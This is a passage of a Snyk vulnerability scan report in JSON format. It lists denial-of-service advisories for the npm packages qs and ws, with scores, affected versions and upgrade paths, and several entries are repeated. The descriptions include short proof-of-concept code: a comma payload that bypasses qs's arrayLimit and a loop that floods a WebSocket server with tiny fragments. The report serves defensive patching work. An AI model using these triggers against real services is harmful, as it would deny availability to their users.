"qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-20943482", "title": "Uncaught Exception", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "manus-pi", "Lucidsec" ], "semver": { "vulnerable": [ ">=6.7.0 <6.16.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.16.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw", "title": "GitHub Advisory" }, { "url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n", "epssDetails": { "percentile": "0.21635", "probability": "0.00304", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-110816" ], "CWE": [ "CWE-248" ], "GHSA": [ "GHSA-6pq8-jhm2-2vcw" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-10-15T06:11:06.044323Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-14T23:32:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-15T06:11:06.216040Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:41.188403Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "body-parser@1.20.4", "qs@6.14.1" ], "upgradePath": [ false, "body-parser@1.20.8", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.43894", "probability": "0.00542", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-11T09:15:24.566638Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-20943482", "title": "Uncaught Exception", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "manus-pi", "Lucidsec" ], "semver": { "vulnerable": [ ">=6.7.0 <6.16.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.16.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw", "title": "GitHub Advisory" }, { "url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n", "epssDetails": { "percentile": "0.21635", "probability": "0.00304", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-110816" ], "CWE": [ "CWE-248" ], "GHSA": [ "GHSA-6pq8-jhm2-2vcw" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-10-15T06:11:06.044323Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-14T23:32:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-15T06:11:06.216040Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:41.188403Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.43894", "probability": "0.00542", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-11T09:15:24.566638Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "body-parser@2.2.1", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "body-parser@2.3.0", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-20943482", "title": "Uncaught Exception", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "manus-pi", "Lucidsec" ], "semver": { "vulnerable": [ ">=6.7.0 <6.16.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.16.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw", "title": "GitHub Advisory" }, { "url": "https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:41.188403Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-10-15T06:14:57.073890Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `stringify` when `arrayFormat: 'comma'` is used with array elements that have a non-callable `toString` property. Such elements - as produced by `JSON.parse`, or by `qs.parse` under `allowPrototypes` or `plainObjects` (which yields null-prototype objects) - cause `Array.prototype.join` or `utils.encode` to throw a `TypeError: Cannot convert object to primitive value`, crashing the process.\r\n\r\n**Note:** This is only exploitable if the `arrayFormat: 'comma'` option is explicitly set.\n## Remediation\nUpgrade `qs` to version 6.16.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/ljharb/qs/security/advisories/GHSA-6pq8-jhm2-2vcw)\n- [GitHub Commit](https://github.com/ljharb/qs/commit/a952e7519338ef0cfb25694a2988848f93333727)\n", "epssDetails": { "percentile": "0.21635", "probability": "0.00304", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-110816" ], "CWE": [ "CWE-248" ], "GHSA": [ "GHSA-6pq8-jhm2-2vcw" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-10-15T06:11:06.044323Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-14T23:32:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-15T06:11:06.216040Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:41.188403Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "body-parser@2.2.1", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "body-parser@2.3.0", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-WS-17344547", "title": "Asymmetric Resource Consumption (Amplification)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Nadav Magier" ], "semver": { "vulnerable": [ ">=1.1.0 <5.2.5", ">=6.0.0 <6.2.4", ">=7.0.0 <7.5.11", ">=8.0.0 <8.21.0" ] }, "exploit": "Proof of Concept", "fixedIn": [ "5.2.5", "6.2.4", "7.5.11", "8.21.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "ws", "references": [ { "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p", "title": "GitHub Advisory" }, { "url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a", "title": "GitHub Commit" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661", "title": "Red Hat Bugzilla Bug" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:16:02.859719Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:16:02.859719Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n", "epssDetails": { "percentile": "0.58956", "probability": "0.00931", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48779" ], "CWE": [ "CWE-405", "CWE-770" ], "GHSA": [ "GHSA-96hv-2xvq-fx4p" ] }, "packageName": "ws", "proprietary": false, "creationTime": "2026-06-16T12:21:35.837880Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-15T16:34:23Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-16T12:21:46.990314Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:16:02.859719Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "ws@8.18.3" ], "upgradePath": [ false, "ws@8.21.0" ], "isUpgradable": true, "isPatchable": false, "name": "ws", "version": "8.18.3" }, { "id": "SNYK-JS-WS-17344547", "title": "Asymmetric Resource Consumption (Amplification)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Nadav Magier" ], "semver": { "vulnerable": [ ">=1.1.0 <5.2.5", ">=6.0.0 <6.2.4", ">=7.0.0 <7.5.11", ">=8.0.0 <8.21.0" ] }, "exploit": "Proof of Concept", "fixedIn": [ "5.2.5", "6.2.4", "7.5.11", "8.21.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "ws", "references": [ { "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p", "title": "GitHub Advisory" }, { "url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a", "title": "GitHub Commit" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661", "title": "Red Hat Bugzilla Bug" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:16:02.859719Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:16:02.859719Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An 